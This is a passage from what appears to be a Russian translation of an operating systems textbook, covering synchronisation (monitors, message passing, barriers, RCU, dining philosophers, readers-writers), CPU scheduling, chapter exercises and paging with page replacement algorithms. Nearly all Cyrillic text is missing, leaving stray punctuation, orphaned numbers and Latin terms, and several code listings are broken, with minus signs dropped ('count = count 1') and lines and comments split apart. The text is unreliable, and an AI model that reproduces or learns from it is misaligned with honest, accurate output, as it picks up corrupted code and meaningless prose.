consume_item(item);
}
}
private void consume_item(int item) { ... }
//
}
static class our_monitor {
//
private int buffer[ ] = new int[N];
private int count = 0, lo = 0, hi = 0;
//
public synchronized void insert(int val) {
if (count == N) go_to_sleep( );
// ,
buffer [hi] = val;
//
hi = (hi + 1) %N;
//
count = count + 1;
//
if (count == 1) notify( );
// ,
//
}
public synchronized int remove( ) {
int val;
if (count == 0) go_to_sleep( ); // ,
val = buffer [lo];
//
lo = (lo + 1) %N;
// from
count = count 1;
//
buffer
if (count == N 1) notify( ); // ,
//
return val;
}
private void go_to_sleep() { try{wait();} catch(InterruptedException exc) {};}
}
}

, , , , , . , . ,
.
.
, ,
, , , .
.

174

2.

,
, send
receive. :
?
,
, .
.
, .
.

-

,
-.
2.12. , ,
.
N , N ,
. , N
. , .
,
, .
2.12. -
N
#define N 100

/* */

void producer(void)
{
int item;
message m;

/* */

while (TRUE) {
item = produce_item( );

/*

*/
receive(consumer, &m);
build_message(&m, item);
send(consumer, &m);

/* */
/* */
/* */

}
}
void consumer(void)
{
int item, i;
message m;
for (i = 0; i < N; i++) send(producer, &m); /* N
*/
while (TRUE) {

2.3.
receive(producer, &m);
item = extract_item(&m);
send(producer, &m);
consume_item(item);

/*
/*
/*
/*

175

*/
*/
*/
*/

}
}

, , ; , . ,
: , ,
, .
.
. . , .
, .
send
receive , .
, ,
,
.
- , , , N . , ,
.
: , , .

. , send receive,
- receive, . receive,
send.
. , ,
,
.
. MPI (Message-Passing Interface).
. Gropp et
al., 1994; Snir et al., 1996.

2.3.9.

, -, . ,

176

2.

,
.
, . , ,
. .
. 2.18.
. 2.18, , . ,
. , . barrier, . .
,
barrier. . 2.18, . , . 2.18, ,
, C, , .

. 2.18. : ; ,
, ; ,

, ,
. ,
.
. , .
, , , , ,
T.
, ,
. ,
.
, (,
)
(, ).
,

2.3.

177

.
n + 1, n,
. barrier ,
. , ( )
.

2.3.10. :

. ,

. , , , . , ,
. A ,
, . , , , .
, , , . , ,
, .
, . 2.19.
. X.
, : X, .
X A.
.
B D. A
C. , A, C
B D. , .
, B D, ,
, . ,
. B D , RCU (Read Copy Update, ) .
. B D,
. ? ? ? ,
. RCU ,
. . ,
,
(read-side critical section), , .
.
(grace period) , ,

178

2.
:
A

(a)

() X
E X.
,
A E,

() X
X A. ,
E,
,
, A,

:
A
X

() B A.
, B
.
B
,
,
A,

()
,
B C.

() B D

. 2.19. RCU: ,

.
,
.
, ,
.

2.4.
, ,
. ,
.
, ,
. ,
, , , ,
. .

2.4.

179

, , , .
, ,
, (
). ,
, .
. 8.

2.4.1.
,
, , : .
, ,
.
, ,
:
, . ( ,

, ,
.)
,
.
.
.
-, .
, , ,
. ,
, , ,
.
-, ,
.

( ), ,
.
, , .
, ,
, , ,
, .
. , , : ,
107 892 ( NTSC) 90 000 ( PAL)

180

2.

,
.
, . ,
. ,
, ,
, ,
,
. , (
), . . ,
,
.

,
.
, ,
.
(, ). .
.
, .
, (
).
, : .


. 2.19 , ( ) -.
,
. ,
,
. . ,
- . , , ,
, -, .
- ,
, , .
. 2.19 , , ,
. 2.19, , ,
, , . 2.19, , -. ,

2.4.

181

. 2.20.
-: ,
; , -

, ,
-. ,
, ,
, -, , -,
, , -. ,
,
-. , -,
, -, ,
-.
, .
, ,
-.
. ,
-, , ,
.
,
-, ,
. . 2.4 , , -,
.

?
. , , .
-, ,

182

2.

, . , ,
, ,
.
-, , .
( ),
- .
,
.
-, -,
- ,
- . .
, A ,
,
,
. , , .
-,
-. -,
, - ,
-, . , : ,
, , , .
50
60 - ,
k- .
.
, , ( -, ),
, .
,
. .
, -
.


.
,
( ).
,
,
. ,
.

2.4.

183


,
. ,
( ) .
,
. :
;
;
.
,
.

.
, .
, ,
.
, , ,
, .
, ,
. . , , ,
() .
.
, , , , ,
,
, .
, . ,
, , .


, ,
.
(, ), ,
. ,
:
:

;

184

2.

;
.
:
;

;
.
:
;
.
:
;

.
.
.
, ,
. ,
-. , ,
.
.
, , , ,
, , .
.
- ,
, - . ,
,
. ,
, ,
-, ,
, , ,
, ,
-. , , , , . ,
,
-, ,
. .

2.4.

185

,
, : ,
. , . 50 , 40 .

. , .
: , .
, , . , , ,
,
( ), .

,
.

, .
, ()
( ).
, .
, 100 %,
.
.
, . ,
(, ),
.
.
,
. ( ) . ,
, ,
, , , ,
. , 500 , 60 ,
, , , ,
5 , , .
,
, .

186

2.

30 , , 60
. ,
, .
( ) ,
, .
, , .
, . , ,
,
.
( ) .
, ,
.
, ,
. ,
, .
, .
.
, , , - .

2.4.2.

. ,
, , . ,
, . .


,
, .
. , ,
. ,
. .
.
, .
, , , ,
.

2.4.

187


.
, .

.
.
.
?
, . , ,
, 1 , ,
-, ,
1000 , . ,
, 1 , . -
. , ,
, 1 ,
, -.
, -,
, 1000 . , ,
, 10 , ,
-, 10 1000 ,
, .


,
, . , ,
1000 , .
,
. , . 2.21.
: A, B, C D 8, 4, 4 4 .
, A 8 ,
B 12 , C 16 D 20 14 .

. 2.21. , :
; ,

188

2.

, (. 2.21, ). 4, 8, 12
20 11 . ,
, .
, a, b, c d .
a, a + b . .
(4a + 3b + 2c + d)/4. , a
,
. b, c d ,
.
.
, ,
, , .
A E
2, 4, 1, 1 1 . 0, 0, 3, 3
3. A B,
. ,
, : A, B, C, D, E , 4,6. ,
: B, C, D, E, A ,
4,4.




. . ,
, .
.
, , .
.

2.4.3.
,
. ,
.


, ,
.
, ,
. -

2.4.

189

,
. ,
, .
.
. 2.22, , , . , ,
. 2.22, , .

. 2.22. : ,
; , B

, - , .
,
, . . ,
, , ,
1 , ,
. . , 4 .
4
( ) 1 . ,
20 % , ,
, .
,
, , 100 . 1 %
. , ,
50 , .
50 . ,
, , 100 , . . , ,
5 , . .
, , ,
. , .
, , ,
.

190

2.

,
. ,
, .
, ,
.
2050 .



. , , . ,
,
, , , .
.
:
, .
,
. , , , ,
, .
,
( ).
, , .
: . ,
, .
. , , ,
, 100, ,
, , 90, 80, 70, 60 .
100 ,
75, 50. UNIX nice, , ,
.
. ,
-

2.4.

191

-.
, ,
- , , . ,
-, ,
, . ,
-, 1/f,
f , . ,
1 50 , 50, , 25 , , 2, , ,
, 1.
,
. . 2.23
.
: 4,
, .
4 ,
3. , 4 3,
2 . . -
,
.

. 2.23.


CTSS (Compatible
Time Sharing System ),
, IBM 7094
(Corbato et al., 1962). CTSS , 7094
. . CTSS ,

192

2.

, ,
,
( ).
, .
. , , 1
, 2 ,
4 . .
, .
, 100 . 1 ,
.
2 . 4,
8, 16, 32 64 , 64
37. 100 , , 7 (
). ,
,
.
, ,
, ,
: ( Enter), , , , , .
, ,
, , ,

, .
. . : ,
, ,
.


,
.
. ,
, , ,
. .
, ,
. ,
.

. , T0. , T1.

2.4.

193

, , aT0 + (1 a)T1.
a, ,
. a = 1/2
:
T0;

T0/2 + T1/2;

T0/4 + T1/4 + T2/2;

T0/8 + T1/8 + T2/4 + T3/2.

T0 1/8.


. ,
- . a = 1/2. ,
, 2 (
).


,
. , ,
: n ,
1/n . , n ,
1/n .
.
, ,
. , ,
, n.
, ,
. 0,5 , ,
, 2,0 , ,
, . ,
, ,
.
.


,
. , ,
.
(Waldspurger and Weihl, 1994).

, . , ,

194

2.

, . 50 ,
20 .
, : ,
. ,
, . 100
, 20 %- . 20 %
. ,
, 40,
: , f , f
.
. ,
, ,
. , .
. ,
, , ,
. , , .
.
,
.
, , . ,
10, 20 25 . 10, 20 25 ,
, 10 : 20 : 25.


,
, . , 1
9 , 2 1 ,
1 90 % ,
2 10 %.
, , .

, . ,
50 % , ,
.
,
50 % . , A, B,
C D, E. -

2.4.

195

, ,
, :
AEBECEDEAEBECEDE...
, ,
:
ABECDEABECDE
, ,
.

2.4.4.
,
. ,
, ,
. , -
.
, .

, ,
.
, , , .

( ), , ( ),
,
. , . , ,
.
, .
, ,
( ) ( ). ,
. , , .
, m , i
Pi Ci ,
,

196

2.

, , .
, . , , , , , ,
.
100, 200 500 .
, , 50, 30 100
, , 0,5 + 0,15 + 0,2 < 1.
1 ,
,
150 . ,
, .
.
, ,
.
, .
. 7,
.

2.4.5.
,
.
, ,
, . , .

( , . .). ,
,
( ), .
,
, .
.
(Levin et al., 1975). -
,
.
. , , ,
( ) . , .

2.4.

197

, ,
. .

2.4.6.
,
: . ,
, .
.
, , , , A, A .
A , , , A1. -

, . ,
, .
A - , A1 .
A , . .
, , ,
A.
, A
,
5 50 . ,
,
. , B,
: A1, A2, A3, A1, A2, A3, A1, A2, A3,
A1. . 2.24, .

. 2.24. :
50 , 5
;

198

2.

, ,
. .
, .
, .
, .
. , ,
. , . 50 , ,
5 , 30
: A1, B1, A2, B2, A3, B3,
. . 2.24, .
. , , ,
,
, .
, -, , . ,
A B ,
A (-
), .
, , , ,
, .
, , , , . , , -, . 2.6. ,
,
. ?
, , , ,
.
,
-. ,
, (
). ,
, , .

2.5.


,

2.5.

199

.
.

2.5.1.
1965 , , .

, ,
. . ,
. ,
. .
. 2.25.

. 2.25.

.
( ,
.) ,
.
, ,
. :
, ? (
, .
, , , ?)
2.13 . take_fork
, , . , .

200

2.

, .
, .
2.13.
#define N 5

/* */

void philosopher(int i)
{
while (TRUE) {
think( );
take_fork(i);
take_fork((i+1)

/* i: ( 0 4) */

eat();
put_fork(i);
put_fork((i+1)

% N);

% N);

/*
/*
/*
/*
/*
/*
/*

*/
*/
; */
% - */
*/
*/
*/

}
}

,
. ,
, - , .
, . ,
, ,
, . ,
, ,
, . (
, .)
,
, ,
, .
, . ,
Ethernet ,
, .
. ,
.
.
, 2.13, ,
. , think, . ,
mutex down.
,
mutex up. .
:
. .

2.5.

201

, 2.14, . state, , : ,
( ). , .
i LEFT RIGHT. ,
i 2, LEFT 1, RIGHT 3.
2.14.
#define N
#define LEFT
#define RIGHT
#define
#define
#define
typedef

5
(i+N1) %N
(i+1) %N

THINKING
0
HUNGRY
1
EATING
2
int semaphore;

int state[N];
semaphore mutex = 1;
semaphore s[N];
void philosopher(int i)
{
while (TRUE) {
think();
take_forks(i);
eat();
put_forks(i);
}
}
void take_forks(int i)
{
down(&mutex);
state[i] = HUNGRY;
test(i);
up(&mutex);
down(&s[i]);

/* */
/* i- */
/* i-
*/
/* */
/* */
/* */
/*
*/
/*
*/
/*
*/
/*
*/
/* i ( 0 N1) */
/*
/*
/*
/*
/*

*/
*/
*/
*/
*/

/* i ( 0 N1) */
/* */
/*
*/
/* */
/* */
/* ,
*/

}
void put_forks(i)
{
down(&mutex);
state[i] = THINKING;
test(LEFT);
test(RIGHT);

/* i ( 0 N1) */
/* */
/* */
/*
*/
/*

202

2.

up(&mutex);

*/
/* */

}
void test(i)
/* i ( 0 N1) */
{
if (state[i] == HUNGRY && state[LEFT] != EATING && state[RIGHT] != EATING) {
state[i] = EATING;
up(&s[i]);
}
}

, , , .
,
philosopher, : take_forks, put_ forks test
, .

2.5.2.
, ,
-. (Courtois et al., 1971). . ,
, , , .
,
, ( ),

. , ?
2.15.
db down.
rc. ,
,
up, , , .
. , -
.
, .
.
, . ,
,
. . ,
. , ,
.
, . , , 2 5 ,
.

2.6. ,

203

, : ,
, .
,
, ,
.
. (Courtois
et al., 1971) , .
.
2.15.
typedef int semaphore;
semaphore mutex = 1;
semaphore db = 1;
int rc = 0;

/*
/*
/*
/*

*/
'rc' */
*/

*/

void reader(void)
{
while (TRUE) {
down(&mutex);
rc = rc + 1;
if (rc == 1) down(&db);
up(&mutex);

/*
/*
/*
/*
/*

*/
rc */
*/
... */

rc */
*/
rc */
*/
... */
rc

read_data_base( );
down(&mutex);
rc = rc 1;
if (rc == 0) up(&db);
up(&mutex);

/*
/*
/*
/*
/*

use_data_read();

/* */

*/
}
}
void writer(void)
{
while (TRUE) {
think_up_data( );
down(&db);
write_data_base( );
up(&db);
}
}

/*
/*
/*
/*
/*

*/
*/
*/
*/
*/

2.6. ,

1 , .
, . ,

204

2.

. ,
.
. , , ,
, , . .
-,
. ,
.
,
.
, , (Tam et al., 2007) ,
Linux
(Boyd-Wickizer, 2010).

(Viennot et al., 2013).
,
.

.
, ( ).
(Giffin et al., 2012).
( , ) , .
(Yuan and Nahrstedt, 2006), (Bulpin
and Pratt, 2005) (Koufaty, 2010).
,
(Gordon et al., 2012).
,
- ,
,
. , ,
, .
1, , , , .
1

, ,
- - ,
-
. . .

205

2.7.
, , . .
.

. ,
, , ,
.
.
, , , .
, , , .
,
,
.
.
,
, .

.
. ,
,
.
, .
, , , .
,
.

1. . 2.2 .
, .
. ,
?
2. , ,
. ?
.
3. . ?

206

2.

4.
, , , ,
. ?
5. ,
.
-. ?
6. 4 , 512 . , ( )
, 256 . -,
99 %?
7.
, . , ,
10 , . , ? ,
? ,
- 50 % .
8. 6 (
). ,
40 % -.
?
9. , 2 .
,
; , . , ,
.
10. , . 2.8,
, . ?
?
11. . ,
.
,
. -
?
12. . 2.6 -. read,
-
? ?
13. -, , , .
- ,
? .

207

14. . 2.4 ,
, . ? , ,
.
15. ,
thread_yield?
.
16. ? ,
, , ?
17.
. ,
, 15 .
,
, 75 , .
, ?
?
18. ? ?
19. 2.1 , ,
. :
1, 1 1, 2,
2 2 . .? ,
? , ?
20. ,
create_global
, .
?
21. ,
, 1
. ,
, - . ?
?
22. , ,
select, , , ,
, .
? .
23. , turn
(. . 2.17), ,
, ,
?

208

2.

24. 2.2 ,
, ?
?
25. , , , ?
?
26. ,
H, , L,
, H. ,
? .
27. , , : ?
, .
.
28.
, . . , ,
?
29.
,
( ). ,
. ,
2.6, ?
30. ,
, P0 P1. , turn 0. P0 :
/* */
while (turn != 0) { } /* Do nothing and wait. */
Critical Section /* . . . */
turn = 0;
/* */

31. P1 0 1.
,
.
32. , , ?
33. , , .
34. , ? ?
35. , , , ,
? -

209

, . ,
.
.
36.
wait signal.
waituntil,
. , ,
:
waituntil x < 0 or y + z < n

signal . , ,
, , . ?
: .
37.
:
, ;
, ;
, ;
, .
. ?
UNIX.
38. , , .
.
. ,
, .
?
39. CDC 6600 10 - , ,
.
, 1 1, 2 2
. . ,
.
T , ,
n ?
40. C:
void main(
fork(
fork(
exit(
}

) {
);
);
);

210

2.

41. , . ,
? ,
?
42. ,
: , , ,
-?
?
43. ,
.
44. , , ,
,
-, T. S,
.
Q,
:
) Q = ;
) Q > T;
) S < Q < T;
) Q = S;
) Q 0.
45. .
9, 6, 3, 5 x.
, ? (
x.)
46. , A E,
. 10, 6, 2, 4 8
. ( ) , 3, 5, 2, 1 4
, 5 .
,
:
) ;
) ;
) ( 10, 6, 2, 4, 8);
) .
, . ,
,
. .
47. , CTSS, 30
. ,
( , )?

211

48.
, 5 ,
, , 1 , , 33 , ,
, 11 .
?
49. ,
?
50.
a = 1/2.
40, 20, 40 15 .
?
51.
, 50, 100, 200 250 . , 35, 20, 10 x
. x,
.
52. :
, , , , , ,
, , .
, ?
53.
, 6 1 ,
25 , 20
. ?
54. ,
, .
.
55. (. 2.14)
take_forks state HUNGRY?
56. put_forks 2.14. ,
state[i] THINKING test,
. ?
57. , .
,
( ) - .
, , , ,
.
58. , , , , .

212

2.


,
. ?
? , .
: ln file file.
lock.
59. , , .
.
.
60. ,
.
61. ,
, , ,
,
. , , ,
, , .
:
) ;
) ;
) .
: , , woman_wants_to_enter; ,
, man_wants_to_enter; , , woman_leaves; , , man_leaves.
.
62. , . 2.17,
.
63. , .
.
.

sleep wakeup. , . , ,
- .
, -
.
64. .
,
. , . ,

213


, .
? , ,
. ,
, ,
.
65.
, . N
, , , N
( 6 28). N.
true, , false,
. N P
. 1 N ,
.
, N. , , N.
, . .
, ,
, .
: , ,
1 N.
66. . N .
, .
, .

3.

, .
IBM 7094, 1960-
, ,
. :
, ,
. , .
,
. ,
? ,
. , .
? ,
, -,
, , , , , ,
DVD - USB. ,
,
.
, ( ),
, , . , ,
, , ,
.
,
.
- ,
. , ,
, , .
,
.

3.1.

215

3.1.
- . ( 1960 ), -
( 1970 ) ( 1980 )
. .
MOV REGISTER1,1000

1000
REGISTER1. , , ,
, 0
, , -
( 8).
. , ,
2000, ,
. ,
.
, , .
. 3.1. (. 3.1, )
, (), , -,
RAM (Random Access Memory).
(), , , ROM (ReadOnly Memory), (. 3.1, ).
, , ,
(. 3.1, ).
-, .
. (, ,
MS-DOS), , ,
- BIOS (Basic Input Output System).
, . 3.1, , ,
, , ,
.
- ,
, .
, ,
. , ,
,
. , , , .
.
,

216

3.

. 3.1.
( ).
, , . , ,
. ,
.
,

. ,
. ( )
.


. IBM 360 :
2 , 4-
,
. 1 512
4- , 256 . (Program Status Word (PSW)) 4-
. IBM 360
, PSW.
,
.
, . 3.2.
, 16 . . 3.2, . , ,
, .
24, MOV. 28, CMP. ,
, .
, 0,
, . 3.2, . ,
.

3.1.

217

. 3.2. : 16 ;
16 ; ,

.
, .
. JMP 24 ,
, .
.
, ,
, 16 384.
JMP 28, ADD ,
CMP. ,
.
, , .
, .
, . IBM 360, ,
,
, .
: 16 384,
16 384 (, JMP 28 JMP 16412 . .).
,
. ,
, , -

218

3.

, . 28 . 3.2,
,
MOV REGISTER1,28

28 REGISTER1, .
- , , , .
, 1,
. , ,
, , , ,
-.
, ( ),
. ,
, - .
(, ), . ,
, ,
- . , ,
e-cos.

3.2. :
. -,
,
, (

IBM 360). (). -, (,
) .
(
, , -),
, .
,
- .

3.2.1.

, , .

3.2. :

219

IBM 360: , .
,
, .
:
. ,
, .
,
. ,
,
( , ).
. .
.
0000000 9999999,
, , 000, .
, ,
.
- x86 0 16 383. IPv4
32- , 0
232 1 (- ).
. - .com .
2 63 , ,
, .com.
, .
,
, 28 ,
28 . ,
, ( )
.


.
. , CDC 6600 ( ) Intel 8088
( IBM PC),
, .

(. . 3.2, ).
,

220

3.

, .
. 3.2, ,
, 0 16 384. 16 384 32 768 . ,
16 ,
32 768 16 384 .

, , .
, ( ). (.
. 3.2, ),
JMP 28


JMP 16412

, , CMP. . 3.2,
. 3.3.

. 3.3.

3.2. :

221

.
,
. CDC 6600, Intel 8088, .
, , ,
, -
.


. ,
-
, , , .

3.2.2.
,
.
,
, .
Windows-, OS X- Linux-
50100 . , Windows
, ,
. 510 . ,
. ,
.
Photoshop 500 , . ,
.
. , ,
, ,
. (
, ,
). ,
,
. , .
. 3.4. A.
B C. . 3.4, A
. D B. ,
A. A

222

3.

, ,
, ( )
. ,
.

. 3.4.
( )

,

. .
,
. , , 16 ,
8 8 , 16 .
,
.

3.2. :

223

, :
, .
, , , ,
.
,
. ,
, , , ,
,
, . ,
, ( ).
, , , ,

, , , .
,
. . 3.5,
, .

. 3.5. : ;

, ,
-

224

3.

, ,
(. 3.5, ).
,
, ,
, . . ,
( ) ,
,
.

3.2.3.
, . , : .
. 10 buddy
slab, Linux, .



.
, 0, , 1,
( ). . 3.6
.
.
, .
, 4 , 32 1
. , 32n , n ,

. 3.6. ,
:
( 0 ) ;
;

3.2. :

225

, 1/32 .
, ,
, ,
.

, . ,
, k ,

. ( ), .


, ,
. , . 3.6, , . 3.6, , .
, hole (H)
process (P), , ,
.
. ,
. ,
, ( ,
). ,
, , . 3.7.
. 3.7, P H. . 3.7,
, . . 3.7, , .
, , , , , ,
, . 3.6, ,
. .

. 3.7. X

226

3.


, (
, )
. , ,
. .
,
. :
,
, .
, .
. , , , ,
.
, ,
, . , (Bays,
1977), , ,
.
. , , .
, ,
, ,
.
. 3.6. , ,
, ,
5, , , 18.
, , . ,
, ,
, .
.

, ,
, ,
. ,
.

3.3.

227


.
, .

, .
,
.
, ,
, , ,
. , ,
, . , ,
, .
, .
, . 3.6, ,
.
,
. ,
. 3.6, , (P/H), .
.
. ,
n ,
4 , 8 , 12
. . , , 21
20 ,
.
,
, , ,
,
, , . ,
,
.

3.3.
, :
.

228

3.

, , ,
. 1980- VAX, 4 , , ( ) .
Microsoft 2
64- Windows 8.
.
,
, , ,
,
. ,
SATA
, , 1
, 1 .
, ,
, , ,
(

). 1960-
, .
,
0. ,
1
0, ( ),
0 ( ). ,
. , .

,
.
, .
. ,
, .
(Fotheringham, 1961) .
, , , .
.
, .
, , .
, ,
,
.

3.3.

229

. 8088 ( ) .


.
.
,
.
- ,
.

3.3.1.
(paging), .
.

MOV REG,1000

1000 REG
( , ). , ,
.

, . , ,
,
.
. (Memory Management Unit (MMU)),
(. 3.8).
. 3.9. , 16- , 0 64K 1.
. 32 .
64 ,
. , 64 ,
, .
, .
. , , . 4 , 512 1 . 64
32
16 8 . .

230

3.

. 3.8. .
, .
,

,
. , x86-64
4 , 2 1 , 4 ,
1 .
, , .
. 3.9 . , 0K4K, ,
0 4095. 4K8K 4096 8191 . .
4096 , , 4096,
, 4096.
, 0,
MOV REG,0

0. , 0 ( 0 4095),
2 ( 8192 12 287). ,
8192, .

8192, .
0 4095
8192 12 287.

MOV REG,8192


MOV REG,24576

8192 ( 2)
24 576 ( 6).
20 500 20 5 (
20 480 24 575) 12 288 + 20 = 12 308.

3.3.

231

. 3.9. ,
. , 4096,
4095 , 4K8K
40968191, 8K12K 819212 287

16 8
.
8 ,
8 (. 3.9).
, , .

-.
, , ,

MOV REG,32780

12 8 (
32 768)? , (
),
.
(page fault). ( ).
( ) , ,
,
.

232

3.

, 1, 8 4096
. 1
, ,
4096 8191
. , 8, 1,
32 780 4108 (4096 + 12).
, ,
, 2. . 3.10
8196 (0010000000000100 ),
. 3.9.
16- 4- 12-
. 4 , 16 , 12 4096 .
, .

. 3.10.
16 4

3.3.

233

- 0, .
1, ,
3 12- ,
.
15- .
.

3.3.2.

:
( ) ( ). , 16-
4 4 16
, 12 ( 0 4095)
. 3, 5, -
.
.
, .
( ).
,
, ,
.
, .
, ,
.

, .
, .
, . 7 ,
,
,
, . ,

.



. ,
. . 3.11 .
, 32 .
(Page frame number).
.
-. 1,
. 0, ,

234

3.

, . ,
0, .
, .
1 0 - 1
. 3 ,
, .
.
, . ,
. (
), . ( ), ,
.
, .

. 3.11.

, . . , ,
, ,
,
.
, . , ,
. - , ,
,
, . .
, -
- , .
, , , . .
, ,
. , ,
. .
,
,

3.3.

235

,
(). -
() .
, , ,
.

3.3.3.
, .

.
1. .
2. ,
.
, . , ,
. ,
, .
, , 1 , ,
, 0,2 .
,
32- ,
64- . , , 4 32- 1 , 64-
, .
1
1 . ,
(
).
.
( , ) ,
,
, (. . 3.10).
, ,
.
.
- .
,
.
,
.

236

3.

,
.
, .
. , , ,
,
.


,
,
. .
. ,
, , .

.
.
,
,
.
.
, ,
, . , .

.
,
(Translation Lookaside Buffer (TLB)),
, . 3.1.
. 8,
64.
, , ,
, ( , )
, .
,
, . ( ).
, TLB, . 3.1, , 19, 20 21,
TLB , . ,
(, ),
129 130. 140 , , . , 860 861.

3.3.

237

3.1. ,

1
1
1
1
1
1
1
1

140
20
130
129
19
21
860
861

1
0
1
1
0
0
1
1

RW
RX
RW
RW
RX
RX
RW
RW

31
38
29
62
50
45
14
75

TLB. , ,
TLB, ( )
. , TLB-.
,
TLB, .
TLB, ,
, .
, ,
TLB. . TLB,
. ,
, TLB. TLB, ,
. , , .
TLB , .

TLB
,
, , TLB. TLB TLB- . ,
, , .
.
RISC-, SPARC, MIPS (
) HP PA, . TLB
. TLB , ,
, TLB-
. , TLB,
, . , -

238

3.

,
TLB , .
, TLB (, 64 )

.
,
, .
TLB Uhlig et al., 1994.
,
TLB, .

TLB,
(Bala et al., 1994).
TLB
, , ,
, TLB. , ,
, .
, (send), ,
, , ,
TLB.
TLB

. , , ,
TLB, TLB- .
(, 4 ) TLB
, TLB.

TLB-.
TLB . , , , TLB,
. TLB - .
1020 . , (, , TLB).
,
. , .
(page table walk).
. .

3.3.

239

( )
. ,
, , ,
. . -,
,
. , .

. , (minor page
fault). -, ,
. -, ,
TLB .
. - .
/
.

3.3.4.
TLB . .
. ,
.


, . 3.12. ( )
32- , 10- PT1, 10-
PT2 12- . 12 , 4 220.
. ,
, . , ,
12 : 4 ,
4 4 .
.
. 3.12, , . , 1024 ,
10- PT1.
, PT1 . 1024
4 , 4- (
32-)
4096 .

240

3.

. 3.12. : 32-
;

, ,
. 0
, 1 , 1023
. () . PT2
,
.
32- 0x00403004
(4 206 596 ), 12 292-
. PT1 = 1, PT2 = 2
4. PT1 -

3.3.

241

1, 4
8 1. PT2
, 3,
12 288 16 383 4 (
4 206 592 4 210 687). , 0x00403004.
, -
, .
, ,
, (4)
. .
. 3.12 .
,
:
0 4 1 ( ), 4 8 1 ( )
4 ( ). - 1021 ,
.
, ,
, , .
PT1,
PT2, , , .
, . 3.12, , , .
. , 32- Intel 80386 ( 1985 ) 4 , , ,
, , ,
4 . , 1024
, , , 210 210 212 = 232 .
10 Pentium Pro : . ,
32 64 ,
4- .
4 , 512
512 , - 4 .
x86 64- (
AMD),
.
. , .
4 (page
map level 4) , , .
, 512 ,
29 29 29 29 212 = 248 .
, , , , 256 .

242

3.


.
, PowerPC, UltraSPARC Itanium ( Itanic,
, Intel,
).
, . , 64- ,
4 4
1 048 576 . , (, ).
, ,
, :
. n
p,
, p .
(n, p) .
, ,
. 256 K
.
TLB.
, ,
. TLB
.
-, .
. 3.13 ,

. 3.13.

3.4.

243

, -, .
- , ,
, . , TLB
(, ).
64-
,
. ,
4 64- 242 .
(Talluri et al., 1995).

3.4.

( ) ,
.
, ,
. (, ),
.
.
, ,
. , , .
, . .
, . ,
, 32- 64-
. .
,
( , ,
). ,

.
-. -.
,
- . ,
, , -,
, ,
. , , ,
, , .

244

3.


: ,
, , , , ?
,
. , .

3.4.1.
, . .
.
( ).
10, 100 , , 1000 .
,
.
, , . -
8 , -
6 ,
,
. , ,
.
.
, , , . ( ,
, ,
, ?)

, ,
.
.
, , 1 % , , ,
, 1 % .
, , , ,
. ,

. , .
,
.

3.4.

245

3.4.2.

, ,
, , R M, . R
( ). M
, ( ).
, . 3.11, .
, ,
, .
1 , .
,
. . , . R (
), ,
, (READ ONLY), . ,
, M
- (READ/WRITE).
R M . 0. (,
) R , ,
, , .
R M
:
1. 0: , .
2. 1: , .
3. 2: , .
4. 3: , .
1 ,
, 3 R .
M, , , , ,
. R M 1.
(Not Recently Used
(NRU)) ,
. , , ,
( 20 ), -

246

3.

. NRU ,
, , , , , .

3.4.3. ,
FIFO (First
In, First Out , ). ,
,
k . -
, , .
, , .
, , ( -,
) ,
. ,
, .
, .
. , ,
,
. ,
, . FIFO
, , .
:
. FIFO .

3.4.4.
FIFO,
, R .
, , , ,
. R 1, , ,
. .
, , . 3.14.
A H
.
, 20.
A,
0. R A ,
( ), ( ). R , A
(20). R.
B.

3.4.

247

. 3.14. : , FIFO;
, 20
R; ,

,
.
,
FIFO. , , . 3.14,
R .
, R .
A, R .
A . , .

3.4.5.
, .
(. 3.15).
.

. 3.15.

248

3.

,
. R 0, ,

. R 1,
. ,
R = 0. , .

3.4.6.

,
, , ,
, . ,
. :
, .
(Least Recently Used (LRU)).
LRU , .
, .
, . ,
. ,
,
( , ).
LRU . .
64- C,
.
,
. C , ,
.
, .
, , .

3.4.7. LRU
LRU , . ,
, . (Not Frequently
Used (NFU)).
, .
.
R, 0 1.
.

3.4.

249

,
.
NFU ,
: . , , ,
.
, ,
, ,
, , .
,
.
, NFU
LRU. . -, R .
-, R , .
. 3.16 , , . , R
0- 5- 1, 0, 1, 0, 1 1 ( 0
1, 1 0, 2 1 . .). , , 0 1,
0, 2, 4 5, R 1,
0. R, ,
. 3.16, .
.

. 3.16. LRU.
,

250

3.

,
. , ,
, , , ,
, ,
.
LRU . 3 5 . 3.16, .
, , . LRU,
, . ,
, 1 2.

. ,
, 3, 5
, 3 .
LRU ,
( 8 ), . ,
. , , .
, 9
, 1000 . .
8 , 20 . 160 , ,
, .

3.4.8.

, .
, , , .
.
, . (demand
paging), , .
, , ,
, . ,
. , ,
. ,
, .
, ,
(Denning, 1968; Denning, 1980). ,
, ,

3.4.

251

(, ). ,
,
,
10 .
10 , . ,
, , (Denning, 1968).
(
), . :
, ?
. ,
. ,
,
,

.

,
.
(Denning, 1970).
. , , (prepaging).
, .
, :
. . t ,
, k . ,
w(k, t), .
k > 1 ,
(k = 1)- , , , , w(k, t) k.
k w(k, t) ,
, ,
. . 3.17 , k.
, , ,
, , k, . , , , , ,
1000 ,
1 ,
. k.

252

3.

. 3.17. , k
. w(k, t) t

, k,
. ,
,
, ,
.
.
,
, .
:
,
. , .
, k
( k
, ).
k .
, k .
,
.
, k,
,
. k .
. .
.
, .
. k
. ,
, 10 -

3.4.

253

, ,
100 .
. , . , T
40 T + 100 , 40 . ,
,
. ,
t .
, .
, ,
, . . 3.18 , . , , , ,
. ( )
: () R (Referenced ).
, ,
, M (Modified).

. 3.18.

. , ,
, R M. , , R.

, .
R.
1, -

254

3.

, , .
, ,
(, t
).
R 0, ,
. ,
, ( ), t.
t,
. , .
R 0, t, . , ( )
.
, , .
, R = 0, , .
( R = 1),
,
, .

3.4.9. WSClock
,
. , ,
, WSClock (Carr and Hennessey, 1981).

.
,
. 3.19, . .
.
, . ,
R ( ) M ( ).
, , . R 1, , ,
. R 0,
, . ,
, . 3.19, .
, , , ,
R = 0 (. 3.19, ). t -

3.4.

255

. 3.19. WSClock: , , R = 1;
, , R = 0

, .
(. 3.19, ). , ,
. ,
,
. , , .
,
- .

256

3.

,
n .
.
, ?
.
1. .
2. .
,
. , ,
. .
,
, .
,
.
, , . . ,
, .

3.4.10.

.
. . 3.2.
3.2.

,
NRU (Not Recently Used) -

LRU
FIFO (First In, First Out)

,

FIFO


LRU (Least Recently Used) ,


NFU (Not Frequently Used)

LRU

,
LRU


WSClock

3.5.

257

. , , , .
.
(NRU)
R M.
. ,
. .
FIFO , , .
, -
, FIFO .
FIFO
, .
, . . . ,
.
LRU ,
. ,
. NFU
LRU. .
LRU, .
. ,
. WSClock , , .

WSClock. LRU .
